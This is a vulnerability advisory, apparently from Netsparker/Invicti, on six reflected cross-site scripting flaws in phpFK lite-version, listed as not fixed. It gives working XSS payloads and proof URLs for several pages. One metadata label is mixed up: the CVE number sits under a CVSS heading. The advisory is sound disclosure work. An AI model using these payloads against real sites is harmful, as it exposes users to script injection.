Multiple Reflected Cross-site Scripting Vulnerabilities in phpFK lite-version

Information

Advisory by Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in phpFK
Affected Software: phpFK
Affected Versions: lite-version
Homepage: https://www.frank-karau.de/
Vulnerability: Reflected Cross-site Scripting
Severity: 7.4 High
Status: Not Fixed
CVSS Score (3.0): CVE-2017-18364
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-006

Technical Details

  1. /faq.php (Query Based (Query String))
    Parameter Name: Query Based
    Parameter Type: Query String
    Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00164F)</scRipt>
    Proof URL: http://{domain}/faq.php?'"--></style></scRipt><scRipt>alert(0x00164F)</scRipt>
  2. /members.php (Query Based (Query String))
    Parameter Name: Query Based
    Parameter Type: Query String
    Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00158E)</scRipt>
    Proof URL: http://{domain}/members.php?'"--></style></scRipt><scRipt>alert(0x00158E)</scRipt>
  3. /members.php (search (GET))
    Parameter Name: search
    Parameter Type: GET
    Attack Pattern: x%22+onmouseover%3dnetsparker(0x0069A0)+x%3d%22
    Proof URL: http://{domain}/members.php?search=x"%20onmouseover=netsparker(0x0069A0)%20x="&sort=username
  4. /members.php (search (POST))
    Parameter Name: search
    Parameter Type: POST
    Attack Pattern: x%22+onmouseover%3dnetsparker(0x006EBA)+x%3d%22
  5. /search.php (Query Based (Query String))
    Parameter Name: Query Based
    Parameter Type: Query String
    Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00171D)</scRipt>
    Proof URL: http://{domain}/search.php?'"--></style></scRipt><scRipt>alert(0x00171D)</scRipt>
  6. /user.php (user (GET))
    Parameter Name: user
    Parameter Type: GET
    Attack Pattern: %3c%2ftitle%3e%3cscRipt%3enetsparker(0x001122)%3c%2fscRipt%3e
    Proof URL: http://{domain}/user.php?user=</title><scRipt>netsparker(0x001122)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

2nd April 2019 – First Contact Attempted
10th July 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing the Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.